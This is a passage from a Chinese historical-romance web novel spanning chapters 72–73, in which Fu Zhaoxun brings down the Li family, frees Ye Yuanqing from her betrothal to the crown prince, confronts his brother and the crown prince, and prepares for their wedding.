叶元倾从来没把卫知当过下人,一直都把他当做傅朝寻的好朋友,与他说话也总是客客气气。 卫知觉得她很体贴很善良,这样的姑娘值得公子深爱。 三个人坐下来吃饭,傅朝寻比以前体贴很多,他不仅会给她夹菜盛汤,还会细心的帮她擦手擦嘴。 四月的天气很好,山里的风景就像一幅画。 叶元倾站在篱笆门外看着远处的青山,心有感慨,回想一路走来,付出那么多的努力,受那多的罪,能得到今天的结果,她很满足也很庆幸。 傅朝寻端来一杯茶递给她:“这茶是我泡的,尝尝看。” 她接过来尝了一口,入口清爽甘甜,很好喝,她赞赏地点着头。 傅朝寻看了她一会,默了片刻,道:“证人那边出了点麻烦,我现在要过去一趟,今晚能回来,你先安心待在这里,等我回来了,明日就去京城。” 探子说,证人自尽未遂,一直昏迷不醒。 叶元倾担心地问:“有把握吗?那群人很狡猾,估计现在已经在为难将军府了。” 太子不会罢休的。 傅朝寻牵起她的手,安慰道:“放心,一定会没事的,只是在解决完之前我可能不能天天陪着你。” 叶元倾道反握住他的手,温声说:“有这两天的陪伴我已经很满足了,事情总要解决,你安心去忙,我在家里等着你,你也要注意安全。” 傅朝寻应着,亲了她一口,喝完杯盏里的茶水就离开了。 叶元倾坐在小院里等着他,虽然心里很忐忑,但她相信他一定能解决好的。 第 72 章【VIP】 第72章 第 72 章 “你打算什么时候迎娶叶…… 对付一个庞大的家族并非易事, 并且还牵扯到了太后,傅朝寻这几个月夜以继日地调查搜集,走访了很多地方, 抓了很多人, 然后又凭借前世的记忆一点点把事情的走向全部串联起来,再分析,最后又将其打散一个个深挖。 他有很高的学问和办事能力,调查起来还算顺利,只是几个人证不好搞定,这些人老奸巨猾,一个比一个难对付, 有时候不得不用刑才能拷问出一些有效信息。 尤其是最后这个人证,实在太强硬了, 无论如何拷问都不回答,软硬不吃,还咬舌自尽。这人是最有力的证据,有了他才能万无一失, 没有他就要再忙活几天。 傅朝寻做事细心,调查起来又特别投入, 眼看证人救不活,他只好又往京城里跑一趟。 他找到太保大人重新计划了一番,又潜入太子殿查看了一下太子的动向, 待回到山间小院时已经是翌日清晨。 他带着满身的疲惫进了房间,叶元倾还没有醒。 他轻手轻脚地脱了衣服, 洗漱一番上了床。 以前每次外出办事回来,再困再累都得默默扛着,一个人躺在冰凉的床上, 无论是伤口疼痛,还是遇事心烦,连个诉说的人都没有。 现在躺进被窝里,有了叶元倾,被窝里暖暖的,全是她的味道。 他从身后搂着她,把脸埋进她的颈窝里,紧绷了一天的神经一下子放松了。 叶元倾迷迷糊糊地翻身抱住他,轻声问:“累不累?饿不饿?渴不渴?” 她一连问了三个问题。 傅朝寻轻笑一声,捧住她的脸颊亲了一口,回道:“来的时候吃过了,现在也不口渴,就是有点累。” 在外跑了一天,确实累的浑身发酸,若是以前,忍一忍就过去了,但是现在,在她面前突然变得脆弱了,很想把身上不舒服的地方都与她说一遍。 叶元倾贴上他冰凉的脸颊,把他的手放在自己的肚子上帮他暖着,温声说:“累了就趴我怀里躺一会,有些烦心事和麻烦事都可以与我说,你说什么我都爱听。” 她身上香香的,软软的,贴上去太舒服了。 他又搂紧她,说:“确实有点麻烦事要与t?你说。” 被他抱着真的太幸福了,她“嗯”了声:“你说,我听着。” 他闭上眼睛,闻着她的发香,把今天发生的事情都与她说了一遍,还抱怨城门把守森严,他徘徊了半个多时辰才出来,不然早就可以回来抱着她睡了。 她安静地听着,二人搂得越来越紧,他说着说着就睡着了。 她望着他熟睡的样子,心里暖暖的,也很安心,有他在身边,一句话一个神情就满足了。 傅朝寻睡到翌日午时才起来,叶元倾已经起床了,正坐在桌前看书,她见他醒来,走上前帮他拿了衣衫。 傅朝寻把她搂进怀里,贴着她的肚子蹭了蹭,说:“睡得太舒服了,都舍不得醒来。” 叶元倾揉了揉他的脑袋说:“卫知做好饭了,快起来吃。” 他应着,又抱了她一会。 卫知今天做的饭菜很丰盛,傅朝寻和叶元倾吃的都很满足。 二人吃过饭,叶元倾有话要对他说,还不等开口,他先道:“本来计划今一早就回京城,实在太困了,睡到现在,我现在就回去处。” 叶元倾担心地问:“你准备好了吗?确定无误了?我现在很担心将军府。” 傅朝寻牵着她进了房间,只拿了佩剑和重要物品,说:“有一个证人死了,可能不能立即除掉太子,不过能把李家人一网打尽,将军府那边我也会处好。” 叶元倾:“能把李家搬倒就足够了,太子毕竟不是一般人,只要他不祸害百姓不再陷害我们就好。” 傅朝寻把东西拿好,抱了她一会,亲了一口就离开了。 他这一走就是十天,再回来已经不是一个人了,他带来了二哥叶元萧。 叶元萧一冲进小院就喊道:“妹妹!” 叶元倾跑上前,激动地叫了一声“二哥”。 叶元萧见她平安无事终是放心了,揉了揉她的脑袋,笑道:“妹妹!全都解决了,哥哥接你回家。” “全都解决了?”叶元倾不可置信地去看傅朝寻,傅朝寻冲她点了点头,她呼了口气,一颗心总算放下来了。 叶元萧帮她收拾了东西:“先上车,我路上说给你听。” 几个人坐上了回京城的马车,叶元萧激动地给叶元倾讲了一路。 他说,那天傅朝寻回了京城以后,先是带着所有人证物证到皇上面前把李家人状告了一番,然后又将国舅爷和太后这些年做的一些苟且之事抖了出来。 傅朝寻不怕天不怕地,连太后都敢参,满朝文武百官震惊不已,从古至今,敢状告太后的,他还是第一个。 因为他的证据足够充分,皇上没有由不调查,就迅速地把太后和李家人深入调查了一番,结果确实如傅朝寻说的一样,李家人贪赃枉法,蓄意谋反。 皇上立即下令,将国舅爷与他的几个儿子关入大牢择日问斩,其他家眷全部流放外城,太后也被软禁在了后宫。 短短几天的时间,朝中又发生了翻天覆地的变化。 太后和李家倒下了,太子见势不妙,开始狗急跳墙,一直揪着傅朝寻抢亲一事不放,非要让他把叶元倾交出来。 皇上念及傅朝寻刚立了大功不好处罚,只好让他交出叶元倾就此作罢。 傅朝寻不愿意,将前朝圣旨丰上,恳求皇上取消叶元倾和太子的婚事,并表明自己对叶元倾早有爱意。 众人看到前朝圣旨大为震惊,皇上派人验证真伪之后,斟酌了许久,只说了一句:“此事暂且不议。” 意思是先拖着。 皇上很精明,想判断判断再做决定。 如此拖了一两日,傅青害怕中间出事,便拿着先皇赐予的令牌进宫面圣。她手中的令牌是先皇临终前留给她的,先皇害怕驾崩后几个皇子争夺皇位闹出不可控制的乱子,便把象征自己身份的令牌和空白道遗诏留给了傅青,让她必要时适当控制局面。 当初傅青把两样东西分别藏了起来,傅呈延迟只偷走了遗诏,并没有偷走令牌。 见牌如见人,皇上斟酌之后,便当即取消了叶元倾和太子的婚事。 太子虽然不服,但是又怕事情闹大,最后也只好作罢了。 叶元倾又恢复了自由之身。 几人先回了将军府。 叶元倾一下马车就看到叶家所有人站在门前等着她。 “娘!”她激动地跑到娘亲跟前。 娘亲抱住她一阵嘘寒问暖,最后领着他们进了家。 叶宁跑来牵着叶元倾的手开心的一会儿流泪,一会儿笑,傅朝寻除掉了李家,也就代表她不用担心自己以后嫁给李二公子了,她也解脱了。 这天,叶展桡开了家宴,一家人其乐融融地围坐在一起吃饭,好像又回到了当初在叶家大院的时候。 吃了晚饭,傅朝寻带着叶元倾爬到屋顶上看星星。 两个人吹着夜风,望着璀璨星河,终于可以放松地呼吸了。 现在,空气里都是自由的味道。 傅朝寻喝了几杯酒,面颊红红的,他望着夜空,许久都不曾说话。 叶元倾问他:“怎么了?还有什么担心的?” 他轻吐了口气,把她搂进怀里,说:“可能以前一直紧绷惯了,每天都在东奔西跑,每天都过着刀口舔血的生活,也从来没敢期盼这一天来的太快,现在它真的来了,有点激动也觉得不真实。” 叶元倾解他此刻的心情,在他胳膊上掐了一把,嘿嘿笑道:“现在感觉真实了吧!” 他吃疼地“啊”了一声,笑说:“感觉到了,很疼,很真实。” 叶元倾问他:“那你打算什么时候回亲王府?你父亲……估计有很多话要问你。” 傅朝寻死了又活过来的消息,对傅亲王来说应该比任何人都震惊,毕竟是自己的亲生儿子。 一说起亲王府,傅朝寻轻叹了口气道:“我不想回去,但是又不得不回去,我和父亲以及傅呈延的事情是该解决了。” 叶元倾嘱咐他:“你现在有了不一样的身份,举国上下都钦佩你,敬重你,你再回去,他们应该不会为难你了,你到时候也长个心眼,别来硬的,不然会吃亏。” 傅朝寻点着头,揉了揉她的脑袋,又抚上她的小脸,说:“我回去还有一件重要的事情。” “什么事情?”叶元倾问。 “通知他们,我要娶你。”傅朝寻回道。 通知,也就是商量都不会商量。 “你不和父亲商量吗?” “不商量,能通知他们是我最大的宽容了,到时候我直接把你娶到侯府里。” “好,我也和父亲说一声,让他挑个好日子。” “元倾!选好日子,我们就成婚。” 傅朝寻在将军府睡了一夜,第二天叶元倾到前院的时,看到他正站在鱼塘边的大树下,怀里还抱着大哥的女儿小晶晶。 小晶晶现在已经四个月了,小小的一个特别可爱,谁见了都想抱一抱。 春风徐徐,绿树成荫,傅朝寻身穿一袭白衣,怀中抱着孩子,脸上尽是温柔的笑意。 叶元倾远远地看着他,看着这个曾经冷漠不好接近的男人,如今变得如此温柔,不知不觉扬起了唇角。 还记得去年秋天,他们一起去找余瑶的时候,他倚在桂花树下,告诉她他要搬出亲王府自立门户,还说希望她相信他一次。 那时候她不相信,因为她觉得他的身份已经注定了一生,以卵击石,与权力抗衡,伤的只会是自己,但他做到了,半年的时间就做到了。 微风抚起他鬓边的秀发,那张青隽的脸颊比鲜花绿叶还要好看,身上干净独清的气质,在沼泽般的人生里从来没有丢失过。 一缕阳光落在他的眉眼上,修长的眼睫就像一对蝶翼轻颤着,那抹命运带给他的苦楚这一刻再也不见了。 他察觉到了她的目光,抬头看她,两个人相望着,她一步步向他走去,每走一步幸福就多一分。 池塘里的鱼儿在春日里游得更欢快了。 她走到他跟前,他把怀里的孩子递给她:“你也抱抱。” 她接过来孩子,看着小晶晶可爱的脸蛋,问他:“大哥看她跟自己的命似的,他怎么舍得让你抱了?” 他笑了声:“拿东西换的,他看上了我的剑,之前要过,我没要给他,这次为了抱孩子,我便把剑给他了,他说,以后还想抱孩子都得拿东西换。” 叶元倾无奈笑道:“这像我t?大哥干出来的事,等我们有孩子了也不让他抱。” 等他们有孩子了。 傅朝寻听后笑了一声,道:“我觉得应该快了。” 叶元倾脸颊微红了些,小声说:“那不一定,前世七年不也没有吗?万一……” “没有万一。”傅朝寻急忙道,“你别瞎想,以前是我不对,以后不会了,况且,我现在的身体和以前不一样,很新鲜。” 叶元倾望着他挺拔的身躯,点了点头,确实很新鲜。 两个人说起这个话题脸都红了。 叶元倾问道:“什么时候回亲王府?” 傅朝寻接过她怀里的孩子,回道:“待会吃了午饭就回去。” “朝堂那边还有需要解决的吗?” 他现在已经官复原职,大寺那边还需要他管。 “目前没有,大寺最近不太忙,少卿能应付的了。” 叶元倾应了一声,又忍不住嘱咐他:“回亲王府以后收着点性子,现在对我们不利的人都解决了,就差你和父亲的关系了,你回去与他心平气和地聊聊。” 傅朝寻没说话,对于那样窒息的家庭,他早就不抱希望了,现在所有阻力都铲除了,他也不再害怕父亲。 有些东西强求不得,他也不打算再争取了,以后有元倾就够了。 两个人抱着孩子坐了一会,日光投下来,熏暖了两个人苦命又努力的人,以后,他们可以经常坐在太阳下沐浴阳光了。 傅朝寻走了没一会叶宁就来了,叶宁神色不好,叶元倾问她:“妹妹怎么了!为何愁眉苦脸的?” 叶宁叹了口气,趴在桌子上,拖着小脸道:“姐姐,我遇到了麻烦,一个大麻烦。” 麻烦? 叶元倾忙问:“什么麻烦?快与姐姐说说。” 叶宁又叹了口气道:“叶呈延想娶我,已经来找我好几次了。” “谁?”叶元倾以为听错了,“亲王府的傅呈延?” 叶宁耸耸肩:“除了他还有谁,这京城里不可能再有第二个傅呈延。” 叶元倾皱眉问:“他怎么突然要娶你?你们之前好像没有太多交集。 ” 傅呈延大了叶宁好几岁,又是个心眼多且高傲的,这俩人怎么看也不合适。 叶宁回道:“他不喜欢我,他只是想与我合作,他想让太师府帮他,至于怎么帮我也不清楚,不过他说若是我们成了婚,我不愿意跟他过就分开住,等个一年半载再和离。他为了能和我成婚,脸面都不要了,又是带着我划船,又是带着我赏风景,还跑到太师府里不走。” “他这么热情?”叶元倾听着不像傅呈延的性格,这个人连求人办事都得仰着个脑袋,怎么突然学会委身求全了? 叶宁冷笑一声:“他那种人怎么可能热情,每次见面都冷着脸,就像我欠了他的命一样,一点风度都没有,还对我动手呢!” “动手?”叶元倾惊道:“打你?” 叶宁摇摇头:“这倒没有,就是把我的胳膊抓得生疼。” 叶元倾吸了口凉气,问道:“那妹妹如何打算的?” 叶宁撇撇嘴:“我不想答应,但是又有点想法。” “什么想法?” “若是姐姐嫁给傅朝寻,我嫁给傅呈延,我们是不是又能天天在一起了,还能成为一家人。” 叶元倾愣了愣,道:“妹妹,婚姻乃是大事,若是你不想嫁,千万别勉强,大家会想办法替你解决。” 叶宁没说话。 叶元倾看了看她,这小丫头不会真的看上傅呈延了吧!她这感情转变的也太快了。 叶元倾想劝劝她,但是看着她的样子又不忍心,她便道:“妹妹不如先接触接触,观察观察,如果两个人真的合适也不是不可以,要是我们二人都嫁入亲王府,确实可以做个伴,只是傅呈延太聪明,妹妹与他相处的时候多长个心眼,可不能意气用事。” 当初和傅峥临相处的时候,差点载在他手里,这次万万不能再吃亏了。 叶宁应道:“这次我会注意点的,傅呈延虽然很讨厌,但是优点还是挺多的,长相和气质也不错,尤其是那一双手,真的太好看了。” 叶宁回想这几次与傅呈延的接触,总觉得他和别人不一样,他不像傅峥临那样温和,也不像叶卓那样疼人,但他却能侵入她的大脑,甩也甩不掉。 难道这就是他们傅家公子的魅力? —— 傅朝寻已经几个月未回亲王府了,如今再看看门匾上的几个大字,心情完全不一样了。 二十几年都想逃出去的牢笼,现在已经困不住他了。 下人们看到他回来,均是惊讶地俯身行礼,管家也急匆匆地去禀告王爷。 傅朝寻先回自己的院子里换了身衣服,又到他和叶元倾曾经住的院子里坐了一会。院中每个地方都有他和叶元倾的身影,回忆以往的种种,虽然是苦涩的,但却是深刻的。 他出了院子,迈着沉重的步子到了前殿,一进屋,看到父亲和傅呈延正无声地坐着。 父亲看到他,叫了一声“寻儿”,然后指了指一旁的凳子。 他坐下来,抬头去看父亲,父亲精神不好,消瘦了很多,脸颊都凹陷了,四月天还披着一件厚氅衣,一点也不像曾经那个威风凛凛的父亲了。 他微蹙了下眉头,心中五味杂陈。 傅柏弘坐久了有些累,动了一下身,然后咳嗽起来。 应该是生病了,连气息都是微弱的。 傅呈延见父亲咳嗽不止,担心问:“父亲,要不要叫大夫过来?” 傅柏弘摆摆手,道:“不用了,我没事。” 他又咳嗽几声,缓了好一会才停下来,然后看向傅朝寻,审视了一下他的神色,道:“寻儿最近受苦了,留在府上多休息几日。我最近身体不适,手头上很多事情已经没有精力处,回头我全都交给你,过几日户部的几位掌事会过来拜访你,我让他们把一些事项都与你说说,这几位掌事跟随父亲很多年,以后他们会全心全意辅助你。” 父亲的意思是,要把亲王府重要事务全都交给他,准备让他接手亲王府? 傅朝寻沉默了一会,答应了。他去看傅呈延,傅呈延眉头紧锁,脸色十分难看。 “延儿。”父亲又叫傅呈延,“你弟弟这些年受了不少苦,也为你做了很多事情,以后你要好好待他,多帮帮他,毕竟是亲兄弟,往后都是同一条船上的人,千万要和他一条心。” 他话说的多了,又忍不住咳嗽。 傅朝寻垂首坐着,听着他的咳嗽声,心里堵得慌。 “寻儿。”父亲又叫他,突然问:“你打算什么时候迎娶叶元倾?” 迎娶叶元倾? 傅朝寻不想他会主动问这个,回道:“已经在选日子了,等选好了就成婚,到时候我会搬出亲王府,住进侯府里。” 搬出亲王府,这是他这么多年以来的愿望。 父亲沉默了一会,突然笑了声,道:“也好,孩子大了,终归是要离开的,很多事情父亲已经力不从心,这么多年也没为你做过什么,亲王府永远都是你的家,你什么时候回来都欢迎你。” 家。 父亲承认这也是他的家。 他感觉心口更堵得慌了,眼睛也酸酸的。 父亲病倒以后,连野心都没有了,独留下一副沧桑无力的身体。 人既是如此,在病痛面前那么的软弱无力,曾经的固执消失了,思想也通透了。 原来与父亲和解那么简单,只需要他几句关心的话,他就心软了。 父亲没再多说什么,被人扶着下去休息了。 大殿里只留下兄弟二人。 傅呈延脸色一直不好,端坐着,身上高傲的气质不减分毫。 傅朝寻最近所作所为傅呈延都看在眼里,他确实佩服这样一个有能力的弟弟,但是他却说不出一句赞赏的话,因为他明白,父亲今日这番话意味着什么。 大殿里安静了好一会,傅呈延先站起了身,准备出门的时候傅朝寻叫住了他:“到我院里坐坐。” 傅呈延顿了片刻没回答,大步出了殿。 兄弟俩一前一后地到了傅朝寻的院子里,傅朝寻把院门关上,走到院中的石桌前坐下。 傅呈延原地站了一会,也走上前坐下来。 傅朝寻让卫知端了酒,倒了两杯,一杯推给傅呈延。 傅呈延抬眸t?看他一眼,冷声问:“你想聊什么?” 傅朝寻死而复生,做兄长的他不仅没有关心和激动,反而只有冷漠和无奈。 傅朝寻眸光沉了一些,回道:“来算算我们这么多年的账。” 他喝了口酒,冷眼看向傅呈延,又沉声道:“还有你骚扰叶元倾的事。” 骚扰? 傅呈延不禁冷笑:“凭什么你的接近是喜欢,我的接近就是骚扰?” 第 73 章 正文完结 第73章 第 73 章 正文完结 傅呈延自幼锦衣玉食, 所拥有的东西是很多人一生都得不到的,也许是跟父亲的教育有关,他对任何事物的侵占性都非常强, 无论是否需求, 只要是他看上眼的,都要得到手。 他对叶元倾从来都分不清是什么感情,只觉得她是京城里有名有才华又有样貌的贵女子,儿时接触过几次,那时只是依孩童的眼光看待她,后来她及笄以后,两个人也见过几次, 每次都是他站在远处默默地看着她。 他喜欢美好和优秀的东西,他觉得叶元倾很漂亮很聪明很优秀, 所以他会多看几眼,只是这几眼不足以让他爱慕。 后来有一天,他突然发现,他曾经看上过的东西他的弟弟傅朝寻也喜欢, 并且还喜欢的发疯,他就产生了一种奇怪心, 他很不舒服,也很不服气,这种莫名其妙的感觉一直在心里蔓延。 可能自幼就习惯了占有傅朝寻的一切, 也自然认为傅朝寻喜欢的姑娘他也可以占有,所以傅朝寻越爱叶元倾, 他就越难受,也越想把他们二人分开。 喜不喜欢对他来说已经无所谓了,只要是能让自己心里舒服, 他并不在乎。 有时候他会非常清醒,也会觉得惭愧,可是最多的时候一想到傅朝寻夺去了母亲的生命,他就发了疯的想抢走傅朝寻的一切,并且还觉得所当然。 自我矛盾的时间久了,他的性格就发生了很大的变化,有时候像个温润如玉的贵公子,有时候又像一匹高傲不可一世的野狼。 每次兄弟俩有接触的时候,他总想用兄长的身份和上位者的姿态压傅朝寻一头。 他从来没有怀疑过有一天父亲会放弃他,也没怀疑过依自己的才华争取不到皇位,只是时机还没到罢了。 如今傅朝寻一跃成为人间蛟龙,把他远远地甩在后头,还得到了父亲的认可,这种心落差实在太大了,对他的打击也非常大。 他恨得浑身发抖,又无可奈何。 以前他想娶叶元倾,除了单纯的想要占有,最多的还是想从她手里得到前朝圣旨。 现在傅朝寻回来了,过来兴师问罪,张口就说他骚扰,这让他很厌烦。 傅呈延这几声冷笑对傅朝寻来说并不陌生,傅朝寻早已听惯了,他依旧没有好语气地道:“喜欢一个人是自由的,不分高低,不分贵贱。但是,心有不轨的接近不是喜欢,是骚扰。” “傅呈延。”他连名带姓地叫他,就是不愿意叫他一声兄长,“你什么都可以与我抢,就是不能抢叶元倾,我警告过你,你不听,那就别怪我不客气。” 不客气? 傅呈延并不怕他的威胁,往椅背上一靠:“你想怎样?杀了我?” 他拿手比划了一下自己的脖颈:“来吧!” 真嚣张。 傅朝寻蹙眉看他,直到现在他还是一副自视清高的样子,实在讨厌,他终是忍无可忍走上前,一把掐住他的脖子,将他按倒在地,挥起拳头砸在了他的脸上。 他以为他不敢打? 傅呈延震惊地挣扎几下没起来,他什么都会,就是不会武功。 傅朝寻骑在他身上,死死的按着他,冷笑道:“杀了你就像杀死一只蚂蚁一样简单,信不信我真下的了手。” 他话音落下,又是一拳砸在了傅呈延的脸上,愤然道:“以后,别再自以为是了,今日你也看到了,父亲已经放弃你了,不可能再牺牲我来辅佐你,你也该清醒了,即便你是嫡长子,即便你深受父亲的喜爱,你没有能力你就是个废物。以前你霸占我的东西,我要一样一样讨回来,吃得,用的,权力,地位,以及父亲本该给我的疼爱,我全都要讨回来。” 这么多年的委屈终于在这一刻爆发了,装睡的人叫不醒,那他就将他打醒。 又是一拳落在傅呈延的脸上,傅呈延被他紧紧压在身下,动也不能动,脸上疼的不行,他看着这个疯了一样的弟弟,除了冷笑,说不出一句话来。 傅朝寻一拳拳落下去,一点也不手软,只是打着打着眼睛就酸了,语音也有些颤了,他说:“所有人都把娘亲的死怪罪到我的头上,谁又曾知道我有多委屈?父亲自幼就不喜欢我,我一直认为你就是我今生的依靠,我爱你敬你,我一声声叫着你哥哥,我把我所有的东西都给你,你犯错受罚我替你挨鞭子,你偷懒不愿背书我去告诉父亲是我打扰你,你出门被人跟踪我拼命护你,我拿命换来的功劳全都给你,我所有的一切,一切的一切我都给了你。” “以前,我也没有抱怨过,我也没有恨过你,因为我体谅你,我体谅你失去母亲的痛苦,我体谅你作为嫡长子失去了很多自由。我从来没有想过要和你争夺嫡长子该有的权力,我只是希望我的兄长,我的哥哥能对我好一些,能分给我一点父爱,可是你太自私了,你不仅不分给我,你还一直掠夺,我不明白,这世上怎么会有你这样自私的兄长。” 他太委屈了,说起来全身都是颤抖的,拳头落下去也越来越重。 眼睛模糊不清了,长大以后,还是头一次在自己兄长面前落泪,他愤恨道:“傅呈延,儿时你还能背着我去坟前看母亲,你还能叫我一声弟弟,可是从什么时候开始,你就变了呢?” 小时候他被人骂“克母”的时候,他明明也能帮他骂回去,小时候他从屋顶上摔下来他还能在床边守他一夜,可是到底从什么时候开始,一切都变了呢? 是因为长大了吗? 再一拳下去,却不如之前那么重了。 傅呈延被他打的浑身胀疼,嘴唇都被他打出血了,听着他这些话,看着他的眼泪一滴滴落在自己脸上,好像二十几年的不甘不服全都消失了。 他说的没错,母亲的死,跟他没有任何关系,只是他的出生确实让他失去了娘亲,他每每看到别人一声声叫着“娘亲”时,他有多羡慕啊! 娘亲在生傅朝寻之前,是那么疼他爱他,父亲疼母亲爱的幸福生活他本来是可以一直拥有的,但是突然没有了,他又怎能不伤心不生气呢?谁又懂他思念娘亲时的心情。 父亲是爱他,但是爱的太窒息了,他看的书,他记得笔记,几大屋子都装不下,谁又能懂那种日夜不休背诵史记的心情。 这么多年,傅朝寻不好过,他也不好过。 他委屈的去推傅朝寻,傅朝寻扣住他的手,又是一顿暴揍,直到打累了才放开,警告道:“以后,别再惦记皇位了,该是你的就是你的,不是你的,强求不得,你已经没有机会了,瞎折腾只会害人害己。我会给你争取一个爵位,我会让你后半生风风光光,也会让父亲不再对你挂念。不该有的心思你也尽快给我收一收,否则我真的能打死你。” “空有一身文化和计谋,却没有一点实战经验,若真是斗争起来,你连太子都不如。” 傅呈延躺在地上,眼睛嘴巴都被他揍肿了,嘴里的鲜血顺着脖颈往下流,他疼得两只手都在发抖,连声音都发不出来。 傅朝寻气愤又心疼地看着他,沉声道:“就这几拳都受不了了,你可知这么多年我是怎么挨过来的?” 他掀开衣衫给他看,身上大大小小的伤疤数不胜数。 “傅呈延。”他站起身,低头看着他,掏出一块玉佩甩到他的脸上,“你十岁生辰时我说过要送给你一块玉佩,后来玉佩买来了,结果那天我却因为替你顶罪被父亲一顿毒打,我被打的浑身是血,可你连句关心的话都没有,我握着玉佩在昏暗的房间里冻了一夜,发誓永远都不会送给你。” 他擦了一把温热的眼睛:“现在,送给你。” 留了十几年的玉佩,送给他。 晴朗的天气,万里无云,春天的风很温柔,好似能抚平着两颗受伤的心t?灵。 傅朝寻转身向房间里走。 傅呈延迷迷糊糊地抓起他丢在脸上的玉佩,玉佩质地很好,就是造型难看,傅朝寻的眼光从小时候就很差,他看着看着,不知不觉流着眼泪笑了。 “你……”他从地上爬起来,叫他,“你和叶元倾成婚的时候,别忘记邀请我。” 春风吹来,是暖的。 傅朝寻顿了一下脚步,又快步进了房间,他走到桌前坐下,甩了甩打麻的手,隔着窗户看了一眼院里的人,叫来了卫知。 他还没开口,卫知就猜到他要吩咐什么,道:“我去扶大公子看大夫,公子你先休息。” 卫知说完出去了,傅朝寻走到床边坐下,脱了鞋子躺了一会,方才他下手确实重了些,但是很爽。 他在床上躺着躺着睡着了,二十几年来头一次在亲王府里睡的这么轻松。 翌日,他去了一趟皇宫。 他到了太子殿,太子一开始闭门不见,后来他准备走时,太子又突然见了。 他进了殿,太子正坐在椅子上盘着两颗的夜明珠,夜明珠通体发亮,看起来价值连城。 太子盘夜明珠的习惯从年少时就有了,他这个行为很符合他高傲自满的性格,他和傅呈延很像,长相像,气质也像,一看就是养尊宠优出来的。 他没给太子行礼,直接坐了下来。 太子见他如此无礼,皱起了眉头。 傅朝寻直接开门见山地道:“我们来做个交易如何?” 交易? 太子审视着他,没有回答,而是问:“你不是来落井下石的?” 傅朝寻笑了声:“我还没有这个闲工夫。” 太子又皱了下眉。 傅朝寻直言道:“今后我来辅佐你如何?” 他来辅佐他?转夜明珠的手停了下来。 傅朝寻道:“如今你已不得势,以后会遇到很多麻烦。因你在太后膝下长大,有几位大臣怕你别有外心,开始试图让皇上废了你的太子之位,若是你失去太子的身份,你将会一无所有。你父皇没有其他子嗣,若是没了太子,日后能继承皇位的,就是我们亲王府的人。亲王府里只有我和傅呈延迟,傅呈延是嫡长子,顺成章是皇位的继承人,但是我不想让他做皇帝,因为依他的能力撑不起一个国家。而我,虽然有做皇帝的心思,但是并不打算做,我的能力你也看到了,我不仅可以除掉大臣,我也可以除掉你,除掉你对我来说很轻松,坐上皇位也并不难。不过,我思来想去,还是不打算争取,也觉得你做未来的皇帝比较合适,你除了有点小人心思之外其他都很优秀,以后改改毛病,说不定能做个好君王。今后你听我的,我来辅佐你,我保证你能顺利登基。” 他好霸道,好嚣张,太子眉头皱的更紧了。 傅朝寻挑了下唇,继续道:“你放心,我不会让你做一个傀儡皇帝,我只是为了陵国着想,我和天下百姓一样,想过太平的日子。而你作为太子,初心应该也是为了黎明百姓吧!” 没有心系天下的心,做不了一个好皇帝。 太子被他最后这段话说得有些动容了,身为皇家子嗣,上的人生第一课就是要心系天下百姓。 傅朝寻的语音又冷了几分,带着不容置喙的口吻道:“我知道你当初迎娶叶元倾是为了夺取兵权,不过我要警告你,你不许再打叶家人的主意,否则我会让你从这个世界上消失,以后,叶家人,由我来保护。” 叶元倾的家人就是他的家人。 太子握紧夜明珠看他,他好大的口气,他竟然敢威胁他。 傅朝寻见他一直不言,又说:“你不用觉得自己多高贵,在我眼里有能力的人才值得尊敬,你现在只不过是一个空壳太子。你是准备一意孤行,还是与我合作,仔细考虑考虑,不过,为了天下百姓,我劝你不要太自私。” “关于傅呈延,我不会再让他窥探皇位,但是你,绝不能去动他,你若动他,我定不会轻饶你。” “还有。”他站起身,冷眼看着他,“上次你强娶叶元倾,吓到了她,我得与你算算账。” 算账?怎么算?太子终是坐不住了,张了张口想要说几句,结果还没说出口,只听“嗖”的一声,脸上突然一疼,鼻骨瞬间流血了。 “你……你……”太子瞪大了眼睛,捂住了鼻子。 傅朝寻挑唇一笑,道:“这是对你骚扰叶元倾的惩罚。” 他说罢,转身向殿外走去,丢下一句:“飞镖上有毒,不想死就老实点。” 有毒? 有毒? 太子惊慌地一把瘫坐在了凳子上,急忙让人找来了太医。 太医查看一番,说:“太子别怕,飞镖上没有毒,你的鼻子只是受了点轻微创伤,过几天就好了。” 太子气的脸都绿了,傅朝寻他,他竟敢耍他。 他冷哼着在殿中踱步,冷静下来,又觉得傅朝寻说的很有道,他若想顺利登基,好像只能仰仗他了。 —— 四月很快就过去了,转眼到了五月。 四月的时候傅朝寻把所有事情都处完了,还做了太子的老师,然后依老师的身份辅佐太子登基。并且他在刑部、吏部、户部等各个部门都有很高的权力,如今上上下下所有官员见了他都要下跪行礼。 一时间,傅朝寻成了全陵国最有威望和让人尊敬的臣子,他的权力已经大到无法想象。 曾经那个总是被人侮辱和谩骂的“乱臣贼子”终是成了可以翱翔于天际的雄性。 五月初六,叶元倾和傅朝寻订了婚,婚期定在下个月的六月初六。 起初傅朝寻因为事务繁忙很少陪叶元倾,待一切熟练了他便慢慢抽出了时间。 他把培养的一些有能力的学子安排到各个地方任职,还把最有才华的梁修安送到太子殿辅佐太子,在他精心的安排下,他不仅能处朝事,还能抽出很多时间来陪叶元倾。 叶元倾也很体谅他,她分得清轻重,她从来不会为难他,抱怨他,只要能每天看到他就很满足了。 五月里大家都在筹备婚事。 婚期的前几天,叶卓突然从禹国回来了,他在禹国听说了陵国发生的事情,也知道叶元倾和傅朝寻马上就要成婚了,他本来不敢来,怕自己控制不住嫉妒傅朝寻,结果没忍住还是跑来了。 叶宁见到叶卓还像以前一样热情地叫他二哥哥,只是看他的眼神已经和以前不一样了,她现在满心里都是傅呈延,虽然她和傅呈延八字没一撇,但是她很喜欢和傅呈延相处时的感觉,互看生厌的接触,挺有趣了。 叶卓来了以后就住在了太师府,这日傍晚,他去看叶元倾,在将军府门前碰到傅朝寻,两个人同时愣在门前,互望一眼,均是皱起了眉头。 叶卓想起了傅朝寻之前警告他的话,那时候他还扬言要和傅朝寻公平竞争,结果竞争还没开始他就主动放弃了,原因很多,最多的是怕伤害叶宁,所以直到最后他都没能痛痛快快地抢一回。 现在,眼前这个男人的地位越来越高了,能力也越来越强了,还把婚期定下了,他连窥探的资格都没有了。 但他又不得不承受,若是两个人抢起来,他肯定是输得很惨的那个。这个连太子都不放在眼里的男人,真的太可怕了,听说傅呈延还被他打的鼻青脸肿。 叶卓思绪乱飞,停在门前忘记进去,傅朝寻淡淡瞥他一眼先进了家,然后砰的一声把院门关上了。 叶卓被拒在门外,握着拳头骂了一句“狗东西”,悻悻回了太师府。 转眼到了六月初六,这日天气很好,晴空万里,鸟语花香。 